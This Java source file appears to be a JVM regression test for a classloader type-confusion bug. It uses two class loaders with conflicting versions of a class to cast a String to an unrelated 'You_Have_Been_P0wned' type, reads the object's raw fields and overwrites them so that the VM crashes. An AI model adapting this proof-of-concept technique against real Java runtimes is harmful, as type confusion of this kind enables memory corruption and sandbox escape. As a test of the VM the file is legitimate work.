import java.lang.reflect.*;
import java.security.*;
abstract public class bug_21227 {
// Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
public static Object _p0wnee;
public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
System.out.println("Warmup");
// Make a Class 'many_loader' under the default loader
bug_21227 bug = new many_loader();
// Some classes under a new Loader, LOADER2, including another version of 'many_loader'
ClassLoader LOADER2 = new Loader2();
Class clazz2 = LOADER2.loadClass("from_loader2");
IFace iface = (IFace)clazz2.newInstance();
// Set the victim, a String of length 6
String s = "victim";
_p0wnee = s;
// Go cast '_p0wnee' to type You_Have_Been_P0wned
many_loader[] x2 = bug.make(iface);
many_loader b = x2[0];
// Make it clear that the runtime type many_loader (what we get from the
// array X2) varies from the static type of many_loader.
Class cl1 = b.getClass();
ClassLoader ld1 = cl1.getClassLoader();
Class cl2 = many_loader.class;
ClassLoader ld2 = cl2.getClassLoader();
System.out.println("bug.make() "+ld1+":"+cl1);
System.out.println("many_loader "+ld2+":"+cl2);
// Read the victims guts out
You_Have_Been_P0wned q = b._p0wnee;
System.out.println("q._a = 0x"+Integer.toHexString(q._a));
System.out.println("q._b = 0x"+Integer.toHexString(q._b));
System.out.println("q._c = 0x"+Integer.toHexString(q._c));
System.out.println("q._d = 0x"+Integer.toHexString(q._d));
System.out.println("I will now crash the VM:");
// On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
//q._c = 3;
q._a = -1;
System.out.println(s);
}
// I need to compile (hence call in a loop) a function which returns a value
// loaded from classloader other than the system one. The point of this
// call is to give me an abstract 'hook' into a function loaded with a
// foreign loader.
public abstract many_loader[] make( IFace iface ); // abstract factory
}